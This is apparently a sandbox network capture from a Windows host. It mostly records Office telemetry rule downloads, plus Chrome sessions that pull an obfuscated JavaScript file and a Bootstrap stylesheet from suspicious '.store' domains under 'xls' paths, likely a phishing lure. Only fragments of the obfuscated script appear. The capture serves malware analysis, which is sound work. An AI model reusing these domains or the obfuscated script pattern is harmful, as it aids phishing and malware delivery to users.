2024-10-23 19:04:05 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:05 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: fbb8ce34-501e-0064-0cbd-201f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190405Z-r1755647c66xn9fj09y3bhxnh400000009cg000000006g2a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:05 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49730	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:05 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e1deb6d3-201e-006e-700b-22bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190405Z-r1755647c669hnl7dkxy835cqc00000006d00000000055h8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49733	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:05 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:05 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ad393351-301e-0099-6d59-236683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190405Z-17fbfdc98bbvf2fnx6t6w0g25n00000006900000000033es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:05 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49735	63.250.38.7	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:05 UTC	360	OUT	GET /gesp/xls/C1e2l3l4a5r.js HTTP/1.1 Host: dezbelz.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:06 UTC	279	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 content-type: text/javascript last-modified: Tue, 22 Oct 2024 13:18:01 GMT accept-ranges: bytes content-length: 35227 date: Wed, 23 Oct 2024 19:04:05 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-10-23 19:04:06 UTC	16105	IN	Data Raw: 76 61 72 20 5f 30 78 37 37 31 63 66 62 3d 5f 30 78 35 63 33 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 63 33 33 28 5f 30 78 61 35 38 31 34 66 2c 5f 30 78 35 32 66 64 39 30 29 7b 76 61 72 20 5f 30 78 33 31 36 39 32 30 3d 5f 30 78 33 31 36 39 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 63 33 33 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 63 33 33 35 35 2c 5f 30 78 31 61 31 34 61 35 29 7b 5f 30 78 35 63 33 33 35 35 3d 5f 30 78 35 63 33 33 35 35 2d 30 78 31 39 33 3b 76 61 72 20 5f 30 78 35 36 66 31 39 66 3d 5f 30 78 33 31 36 39 32 30 5b 5f 30 78 35 63 33 33 35 35 5d 3b 72 65 74 75 72 6e 20 5f 30 78 35 36 66 31 39 66 3b 7d 2c 5f 30 78 35 63 33 33 28 5f 30 78 61 35 38 31 34 66 2c 5f 30 78 35 32 66 64 39 30 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 36 30 Data Ascii: var _0x771cfb=_0x5c33;function _0x5c33(_0xa5814f,_0x52fd90){var _0x316920=_0x3169();return _0x5c33=function(_0x5c3355,_0x1a14a5){_0x5c3355=_0x5c3355-0x193;var _0x56f19f=_0x316920[_0x5c3355];return _0x56f19f;},_0x5c33(_0xa5814f,_0x52fd90);}(function(_0x260
2024-10-23 19:04:06 UTC	16384	IN	Data Raw: 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 5c 78 32 30 65 61 73 65 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 35 30 25 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: x20\x20\x20\x20\x20\x20animation-timing-function:\x20ease-out;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2050%\x20{\x0a\x20\x20\x20
2024-10-23 19:04:06 UTC	2738	IN	Data Raw: 27 2c 27 6f 70 61 63 69 74 79 27 3a 27 68 69 64 65 27 7d 2c 30 78 30 29 2c 24 28 5f 30 78 32 35 65 62 33 38 28 30 78 31 61 64 29 29 5b 5f 30 78 32 35 65 62 33 38 28 30 78 31 62 63 29 5d 28 7b 27 6c 65 66 74 27 3a 27 30 27 2c 27 6f 70 61 63 69 74 79 27 3a 5f 30 78 32 35 65 62 33 38 28 30 78 31 64 63 29 7d 2c 30 78 30 29 3b 7d 2c 5f 30 78 34 33 63 31 34 64 5b 5f 30 78 34 63 37 39 34 63 28 30 78 32 33 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 36 62 33 33 38 29 7b 76 61 72 20 5f 30 78 35 37 33 33 63 30 3d 5f 30 78 34 63 37 39 34 63 2c 5f 30 78 34 33 63 34 35 62 3d 4a 53 4f 4e 5b 5f 30 78 35 37 33 33 63 30 28 30 78 31 66 38 29 5d 28 5f 30 78 34 36 62 33 33 38 5b 5f 30 78 35 37 33 33 63 30 28 30 78 31 66 36 29 5d 29 3b 63 6f 6e 73 6f 6c 65 5b 5f 30 78 Data Ascii: ','opacity':'hide'},0x0),$(_0x25eb38(0x1ad))[_0x25eb38(0x1bc)]({'left':'0','opacity':_0x25eb38(0x1dc)},0x0);},_0x43c14d[_0x4c794c(0x231)]=function(_0x46b338){var _0x5733c0=_0x4c794c,_0x43c45b=JSON[_0x5733c0(0x1f8)](_0x46b338[_0x5733c0(0x1f6)]);console[_0x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49736	199.188.200.183	443	3492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	519	OUT	GET /start/xls/includes/css6.css HTTP/1.1 Host: sopbtech.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-23 19:04:06 UTC	352	IN	HTTP/1.1 200 OK keep-alive: timeout=5, max=100 cache-control: public, max-age=604800 expires: Wed, 30 Oct 2024 19:04:06 GMT content-type: text/css last-modified: Sat, 05 Oct 2024 01:14:07 GMT accept-ranges: bytes content-length: 258940 date: Wed, 23 Oct 2024 19:04:06 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close
2024-10-23 19:04:06 UTC	16032	IN	Data Raw: 20 2f 2a 21 0d 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0d 0a 20 2a 2f 0d 0a 20 20 20 20 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 62 6c 75 65 3a 20 23 30 30 37 Data Ascii: /! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ :root { --blue: #007
2024-10-23 19:04:06 UTC	5499	IN	Data Raw: 20 34 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 34 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 35 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 36 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 35 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 35 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 36 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 37 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 36 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 36 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 Data Ascii: 4; order: 4 } .order-5 { -webkit-box-ordinal-group: 6; -ms-flex-order: 5; order: 5 } .order-6 { -webkit-box-ordinal-group: 7; -ms-flex-order: 6; order: 6 }
2024-10-23 19:04:06 UTC	16384	IN	Data Raw: 72 3a 20 38 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 73 6d 2d 39 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 39 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 73 6d 2d 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 31 30 3b 0d 0a 20 Data Ascii: r: 8 } .order-sm-9 { -webkit-box-ordinal-group: 10; -ms-flex-order: 9; order: 9 } .order-sm-10 { -webkit-box-ordinal-group: 11; -ms-flex-order: 10;
2024-10-23 19:04:06 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 31 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 78 6c 2d 31 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 31 31 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 31 31 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 64 65 72 2d 78 6c 2d 31 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 33 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c Data Ascii: order: 10 } .order-xl-11 { -webkit-box-ordinal-group: 12; -ms-flex-order: 11; order: 11 } .order-xl-12 { -webkit-box-ordinal-group: 13; -ms-fl
2024-10-23 19:04:06 UTC	16384	IN	Data Raw: 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 0d 0a 20 20 20 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 2e 69 73 2d 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 74 6f 6f 6c 74 69 70 2c 0d 0a 20 20 20 20 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 66 65 65 64 62 61 63 6b 2c 0d 0a 20 20 20 20 2e 77 61 73 2d 76 61 6c 69 64 61 74 65 64 20 2e 63 75 73 74 6f 6d 2d 63 6f 6e 74 72 6f 6c 2d 69 6e 70 75 74 3a 76 61 6c 69 64 7e 2e 76 61 6c 69 64 2d 74 6f 6f 6c 74 69 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 20 20 Data Ascii: ustom-control-input.is-valid~.valid-feedback, .custom-control-input.is-valid~.valid-tooltip, .was-validated .custom-control-input:valid~.valid-feedback, .was-validated .custom-control-input:valid~.valid-tooltip { display: block
2024-10-23 19:04:06 UTC	16331	IN	Data Raw: 2e 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 64 61 72 6b 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 2e 32 72 65 6d 20 72 67 62 61 28 35 32 2c 20 35 38 2c 20 36 34 2c 20 2e 35 29 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 64 61 72 6b 2e 64 69 73 61 62 6c 65 64 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 64 61 72 6b 3a 64 69 73 61 62 6c 65 64 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 34 33 61 34 30 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 33 34 33 61 34 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 64 61 Data Ascii: .focus, .btn-dark:focus { box-shadow: 0 0 0 .2rem rgba(52, 58, 64, .5) } .btn-dark.disabled, .btn-dark:disabled { color: #fff; background-color: #343a40; border-color: #343a40 } .btn-da
2024-10-23 19:04:06 UTC	16384	IN	Data Raw: 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 31 70 78 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 74 6f 6f 6c 62 61 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 20 73 74 61 72 74 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 73 74 61 72 74 Data Ascii: margin-left: -1px } .btn-toolbar { display: -webkit-box; display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-box-pack: start; -ms-flex-pack: start
2024-10-23 19:04:07 UTC	16384	IN	Data Raw: 63 6f 6e 74 65 6e 74 3e 2e 74 61 62 2d 70 61 6e 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 74 61 62 2d 63 6f 6e 74 65 6e 74 3e 2e 61 63 74 69 76 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6e 61 76 62 61 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 Data Ascii: content>.tab-pane { display: none } .tab-content>.active { display: block } .navbar { position: relative; display: -webkit-box; display: -ms-flexbox; display: flex; -ms
2024-10-23 19:04:07 UTC	16384	IN	Data Raw: 2d 2e 36 32 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 2d 2e 37 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 2e 36 32 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 30 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 61 72 64 2d 68 65 61 64 65 72 2d 70 69 6c 6c 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2d 2e 36 32 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 2e 36 32 35 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 61 72 64 2d 69 6d 67 2d 6f 76 65 72 6c 61 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 Data Ascii: -.625rem; margin-bottom: -.75rem; margin-left: -.625rem; border-bottom: 0 } .card-header-pills { margin-right: -.625rem; margin-left: -.625rem } .card-img-overlay { position: ab
2024-10-23 19:04:07 UTC	53	IN	Data Raw: 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 20 Data Ascii: position: relative; display: block;

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49738	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:06 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8659e35a-201e-005d-7d92-1fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190406Z-r1755647c66lljn2k9s29ch9ts00000008m0000000007y5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 